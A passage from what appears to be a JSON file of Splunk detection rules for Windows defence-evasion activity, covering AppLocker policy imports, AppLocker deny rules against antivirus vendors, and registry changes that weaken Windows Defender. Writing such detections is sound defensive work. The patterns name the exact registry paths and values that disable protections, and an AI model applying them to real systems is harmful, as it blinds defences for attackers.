Processes.process=\"*Import-Module Applocker*\" AND Processes.process=\"*Set-AppLockerPolicy *\" AND Processes.process=\"* -XMLPolicy *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_add_xml_applocker_rules_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Applocker importing xml policy command was executed in $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Health Check Intervals", - "description": "The following analytic detects modifications to the Windows registry that change the health check interval of Windows Defender. It leverages data from the Endpoint datamodel, specifically monitoring changes to the \"ServiceKeepAlive\" registry path with a value of \"0x00000001\". This activity is significant because altering Windows Defender settings can impair its ability to perform timely health checks, potentially leaving the system vulnerable. If confirmed malicious, this could allow an attacker to disable or delay security scans, increasing the risk of undetected malware or other malicious activities.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\ServiceKeepAlive\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_health_check_intervals_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "change in the health check interval of Windows Defender on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Quick Scan Interval", - "description": "The following analytic detects modifications to the Windows registry that change the Windows Defender Quick Scan Interval. It leverages data from the Endpoint.Registry data model, focusing on changes to the \"QuickScanInterval\" registry path. This activity is significant because altering the scan interval can impair Windows Defender's ability to detect malware promptly, potentially allowing threats to persist undetected. If confirmed malicious, this modification could enable attackers to bypass security measures, maintain persistence, and execute further malicious activities without being detected by quick scans.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Scan\\\\QuickScanInterval\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_quick_scan_interval_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender QuickScanInterval feature was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Throttle Rate", - "description": "The following analytic detects modifications to the ThrottleDetectionEventsRate registry setting in Windows Defender. It leverages data from the Endpoint.Registry datamodel to identify changes in the registry path related to Windows Defender's event logging rate. This activity is significant because altering the ThrottleDetectionEventsRate can reduce the frequency of logged detection events, potentially masking malicious activities. If confirmed malicious, this could allow an attacker to evade detection by decreasing the visibility of security events, thereby hindering incident response and forensic investigations.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\Consumers\\\\IPS\\\\ThrottleDetectionEventsRate\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_throttle_rate_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender ThrottleDetectionEventsRate feature was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Change Win Defender Tracing Level", - "description": "The following analytic detects modifications to the Windows registry specifically targeting the \"WppTracingLevel\" setting within Windows Defender. This detection leverages data from the Endpoint.Registry data model to identify changes in the registry path associated with Windows Defender tracing levels. Such modifications are significant as they can impair the diagnostic capabilities of Windows Defender, potentially hiding malicious activities. If confirmed malicious, this activity could allow an attacker to evade detection and maintain persistence within the environment, leading to further compromise and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Reporting\\\\WppTracingLevel\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_change_win_defender_tracing_level_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender WppTracingLevel registry was modified on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Configure App Install Control", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender SmartScreen App Install Control feature. It leverages data from the Endpoint.Registry data model to identify changes to specific registry values. This activity is significant because disabling App Install Control can allow users to install potentially malicious web-based applications without restrictions, increasing the risk of security vulnerabilities. If confirmed malicious, this action could lead to the installation of harmful applications, potentially compromising the system and exposing sensitive information.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE (Registry.registry_path= \"*\\\\Microsoft\\\\Windows Defender\\\\SmartScreen\\\\ConfigureAppInstallControl\" Registry.registry_value_data= \"Anywhere\") OR (Registry.registry_path= \"*\\\\Microsoft\\\\Windows Defender\\\\SmartScreen\\\\ConfigureAppInstallControlEnabled\" Registry.registry_value_data= \"0x00000000\") BY _time span=1h Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_configure_app_install_control_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Define Windows Defender App Install Control registry set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Define Win Defender Threat Action", - "description": "The following analytic detects modifications to the Windows Defender ThreatSeverityDefaultAction registry setting. It leverages data from the Endpoint.Registry datamodel to identify changes in registry values that define how Windows Defender responds to threats. This activity is significant because altering these settings can impair the system's defense mechanisms, potentially allowing threats to go unaddressed. If confirmed malicious, this could enable attackers to bypass antivirus protections, leading to persistent threats and increased risk of data compromise or further system exploitation.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Threats\\\\ThreatSeverityDefaultAction*\" Registry.registry_value_data IN (\"0x00000001\", \"9\") by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_define_win_defender_threat_action_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Define Windows Defender threat action through registry on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Delete Win Defender Context Menu", - "description": "The following analytic detects the deletion of the Windows Defender context menu entry from the registry. It leverages data from the Endpoint datamodel, specifically monitoring registry actions where the path includes \"*\\\\shellex\\\\ContextMenuHandlers\\\\EPP\" and the action is 'deleted'. This activity is significant as it is commonly associated with Remote Access Trojan (RAT) malware attempting to disable security features. If confirmed malicious, this could allow an attacker to impair defenses, facilitating further malicious activities such as unauthorized access, persistence, and data exfiltration.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\shellex\\\\ContextMenuHandlers\\\\EPP\" Registry.action = deleted by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.dest Registry.user | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_delete_win_defender_context_menu_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender context menu registry key deleted on $dest$.", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Delete Win Defender Profile Registry", - "description": "The following analytic detects the deletion of the Windows Defender main profile registry key. It leverages data from the Endpoint.Registry datamodel, specifically monitoring for deleted actions within the Windows Defender registry path. This activity is significant as it indicates potential tampering with security defenses, often associated with Remote Access Trojans (RATs) and other malware. If confirmed malicious, this action could allow an attacker to disable Windows Defender, reducing the system's ability to detect and respond to further malicious activities, thereby compromising endpoint security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path = \"*\\\\Policies\\\\Microsoft\\\\Windows Defender\" Registry.action = deleted by Registry.registry_path Registry.registry_value_name Registry.registry_value_data Registry.process_guid Registry.action Registry.user Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_delete_win_defender_profile_registry_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Logger registry key set to 'disabled' on $dest$.", - "risk_score": 64, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Deny Security Software With Applocker", - "description": "The following analytic detects modifications in the Windows registry by the Applocker utility that deny the execution of various security products. This detection leverages data from the Endpoint.Registry datamodel, focusing on specific registry paths and values indicating a \"Deny\" action against known antivirus and security software. This activity is significant as it may indicate an attempt to disable security defenses, a tactic observed in malware like Azorult. If confirmed malicious, this could allow attackers to bypass security measures, facilitating further malicious activities and persistence within the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path= \"*\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy Objects\\\\*\" AND Registry.registry_path= \"*}Machine\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\SrpV2*\") OR Registry.registry_path=\"*\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\SrpV2*\" AND Registry.registry_value_data = \"*Action\\=\\\"Deny\\\"*\" AND Registry.registry_value_data IN(\"*O=SYMANTEC*\",\"*O=MCAFEE*\",\"*O=KASPERSKY*\",\"*O=BLEEPING COMPUTER*\", \"*O=PANDA SECURITY*\",\"*O=SYSTWEAK SOFTWARE*\", \"*O=TREND MICRO*\", \"*O=AVAST*\", \"*O=GRIDINSOFT*\", \"*O=MICROSOFT*\", \"*O=NANO SECURITY*\", \"*O=SUPERANTISPYWARE.COM*\", \"*O=DOCTOR WEB*\", \"*O=MALWAREBYTES*\", \"*O=ESET*\", \"*O=AVIRA*\", \"*O=WEBROOT*\") by Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.registry_key_name Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_deny_security_software_with_applocker_filter`", - "tags": { - "analytic_story": [ - "Azorult" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Applocker registry modification to deny the action of several AV products on $dest$.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Controlled Folder Access", - "description": "The following analytic detects a modification in the Windows registry that disables the Windows Defender Controlled Folder Access feature. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the EnableControlledFolderAccess registry setting. This activity is significant because Controlled Folder Access is designed to protect critical folders from unauthorized access, including ransomware attacks. If this activity is confirmed malicious, it could allow attackers to bypass a key security feature, potentially leading to unauthorized access or modification of sensitive files.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\Windows Defender Exploit Guard\\\\Controlled Folder Access\\\\EnableControlledFolderAccess\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_controlled_folder_access_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender ControlledFolderAccess feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Defender Firewall And Network", - "description": "The following analytic detects modifications in the Windows registry to disable firewall and network protection settings within Windows Defender Security Center. It leverages data from the Endpoint.Registry data model, specifically monitoring changes to the UILockdown registry value. This activity is significant as it may indicate an attempt to impair system defenses, potentially restricting users from modifying firewall or network protection settings. If confirmed malicious, this could allow an attacker to weaken the system's security posture, making it more vulnerable to further attacks and unauthorized access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender Security Center\\\\Firewall and network protection\\\\UILockdown\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_defender_firewall_and_network_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender firewall and network protection section feature set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable Defender Protocol Recognition", - "description": "The following analytic detects modifications to the Windows registry that disable the Windows Defender protocol recognition feature. It leverages data from the Endpoint.Registry data model, specifically looking for changes to the \"DisableProtocolRecognition\" setting. This activity is significant because disabling protocol recognition can hinder Windows Defender's ability to detect and respond to malware or suspicious software. If confirmed malicious, this action could allow an attacker to bypass antivirus defenses, facilitating further malicious activities such as data exfiltration or system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\NIS\\\\DisableProtocolRecognition\" Registry.registry_value_data=\"0x00000001\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_defender_protocol_recognition_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender Protocol Recognition set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - "Ember Bear", - "FIN6", - "Gamaredon Group", - "Gorgon Group", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "MuddyWater", - "Putter Panda", - "Rocke", - "TA2541", - "TA505", - "TeamTNT", - "Turla", - "Wizard Spider" - ] - }, - { - "mitre_attack_id": "T1562", - "mitre_attack_technique": "Impair Defenses", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Magic Hound" - ] - } - ] - } - }, - { - "name": "Windows Impair Defense Disable PUA Protection", - "description": "The following analytic detects a modification in the Windows registry to disable Windows Defender PUA protection by setting PUAProtection to 0. This detection leverages data from the Endpoint.Registry datamodel, focusing on registry path changes related to Windows Defender. Disabling PUA protection is significant as it reduces defenses against Potentially Unwanted Applications (PUAs), which, while not always malicious, can negatively impact user experience and security. If confirmed malicious, this activity could allow an attacker to introduce adware, browser toolbars, or other unwanted software, potentially compromising system integrity and user productivity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Windows Defender\\\\PUAProtection\" Registry.registry_value_data=\"0x00000000\" by Registry.registry_key_name Registry.user Registry.registry_path Registry.registry_value_data Registry.action Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_impair_defense_disable_pua_protection_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Windows Defender PUA protection set to disable on $dest$.", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1562.001", - "mitre_attack_technique": "Disable or Modify Tools", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "Aquatic Panda", - "BRONZE BUTLER", - 